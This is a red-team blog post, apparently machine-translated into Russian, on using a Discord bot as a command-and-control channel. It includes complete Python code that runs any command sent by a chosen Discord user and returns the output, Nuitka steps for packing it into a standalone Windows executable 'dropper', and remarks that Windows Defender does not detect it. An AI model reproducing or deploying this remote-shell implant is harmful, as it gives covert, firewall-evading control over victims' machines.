Использование Discord для управления и контроля (C2) с Python и Nuitka
Здравствуйте, товарищи по красной команде, я думал о том, как запутать трафик C2, и у меня возникла идея. Почему бы не связать трафик через несколько проверенных каналов, таких как Discord? Но что, если у цели не установлен Discord? Я обращусь к этому позже. У меня был некоторый предыдущий опыт разработки ботов Discord, на моем сервере Discord (для обмена знаниями и опытом в области пентестинга / Red Teaming) есть бот Discord, написанный вручную на основе Python.
Добро пожаловать на сервер:https://discord.gg/dWCe5ZMvtQ
Кроме того, если вы предпочитаете смотреть видео, а не читать, вы можете найти его здесь:https://youtu.be/LnXOtHhCx08

Теория
Независимо от движка программирования, все боты Discord работают практически одинаково. Они используют веб-перехватчики для выполнения действий, которые вы указываете им с разрешениями. Существует множество библиотек, поддерживающих разные языки программирования. Боты Discord могут быть написаны практически на любом языке, если следовать документации API (https://discord.com/developers/docs/intro).
Боты Discord на python используют библиотеку discord.py (https://discordpy.readthedocs.io/en/stable/)
Его легко настроить и использовать. Сам код бота прост для понимания и написания. Теперь давайте вернемся к главному: как это вооружить?
Проблема возникает из-за того, что при запуске бота ваш компьютер обходит брандмауэры, поскольку он напрямую общается с серверами Discord. Это означает, что трафик зашифрован и находится на проверенном канале. Это означает, что если мы закодируем бота для чтения и записи команд в определенный канал, мы можем получить выполнение зашифрованного кода. Код на Python очень прост, но есть одна серьезная проблема. Как бы мы заставили цель запустить код Python?
Лучшее решение, которое я придумал до сих пор, — это использование Nuitka (https://nuitka.net/) для компиляции кода Python в автономный PE (Portable Executable). Таким образом, у нас есть стандартная капельница C2. (Мы рассмотрим, что является основной проблемой Nuitka)
Теперь давайте разберем части кода. Нам необходимо выполнить следующие задачи:
- Создать дискорд-бота
- Присоединить бота к пользовательскому серверу
- Закодируйте бота для обработки пользовательских сообщений как команд и для возврата вывода.
- Компилировать в PE
Как создать Discord-бота?
Перейдите кhttps://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications
Нажмите Новое приложение:

Дайте ему имя:

Затем нажмите на подменю Bot:

Добавить бота:

Обязательно включите все намерения (особенно сообщение)

Осталось сделать еще одну вещь, перейти к своему боту и сбросить токен, сохранить новый в безопасном месте. Это понадобится для шага 3.

Как добавить бота на свой сервер?
Теперь бот готов, чтобы добавить его, щелкните Генератор URL в меню Oauth2.

Отметьте Бот -> Администратор -> Скопируйте и вставьте URL-адрес в браузер. Затем просто выберите сервер, на который нужно добавить бота.

Как закодировать бота?
Теперь самое интересное!
Давайте проанализируем следующий фрагмент кода:
from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time
DISCORD_TOKEN = "Token from step 1"
def Exec(cmd):
output = subprocess.check_output(cmd, shell=False)
return output
intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)
@bot.command()
async def IssueCmd(ctx, arg):
await ctx.send(arg)
@bot.event
async def on_message(message):
if(message.author.id == 1046317520178663534):
await message.channel.send(Exec(message.content).decode("utf-8"))
if __name__ == "__main__":
bot.run(DISCORD_TOKEN)
Первые несколько строк — это импорт библиотеки и статический токен из шага 1.
from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time
DISCORD_TOKEN = "Token from step 1"
def Exec(cmd):
output = subprocess.check_output(cmd, shell=False)
return output
intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)
@bot.command()
async def IssueCmd(ctx, arg):
await ctx.send(arg)
@bot.event
async def on_message(message):
#obviously replace the userid with your own
if(message.author.id == 1046317520178663534#obv):
await message.channel.send(Exec(message.content).decode("utf-8"))
if __name__ == "__main__":
bot.run(DISCORD_TOKEN)

Теперь трудная часть.
Как скомпилировать код в PE?
Для этого я остановился на Nuitka. Он довольно прост в использовании. Мы просто должны быть терпеливы. Для этого требуется компилятор MinGW-64, но он автоматически загрузит подходящую версию при первом запуске.
Чтобы установить nuitka, вы можете просто перейти с
pip install nuitka
python -m nuitka --mingw64 .\main.py --standalone --onefile
Как насчет Защитника Windows?
Для него все ясно.

А как насчет поставщиков Antiscanme?
Размер файла был очень большим для меня, чтобы загрузить его. Если у вас, ребята, есть специальная лаборатория с кучей антивирусных поставщиков, не стесняйтесь попробовать против них.
Буду ждать твоих результатов в твиттере!
В чем проблема?
Поскольку он создал один автономный PE, Nuitka нужно было объединить все библиотеки и скомпилировать их все вместе. Вот почему процесс был медленным, а размер файла составлял 40+ МБ. Очевидно, это проблема, которую мы будем решать в будущем. Еще одна проблема — раздражающее всплывающее окно во время выполнения. Кроме того, многие вещи могут быть выполнены, например, внедрение процесса, но я сомневаюсь, что мы сможем добиться этого с таким огромным размером файла. Мы оставим это для следующего!
Подведение итогов
Всегда будьте максимально креативны. Чем больше у вас знаний, тем больше возможностей для реализации творчества перед вами откроется. Несмотря на то, что текущая версия далека от использования, я думаю, что она дает прочную основу для дальнейшего развития. C2 работал отлично, единственная проблема заключалась в размере файла. В конце концов, нет ничего идеального.
Спасибо за прочтение и надеюсь, что вы узнали что-то новое.
Вы можете поддержать мою работу, купив мне кофе:https://www.buymeacoffee.com/lsecqt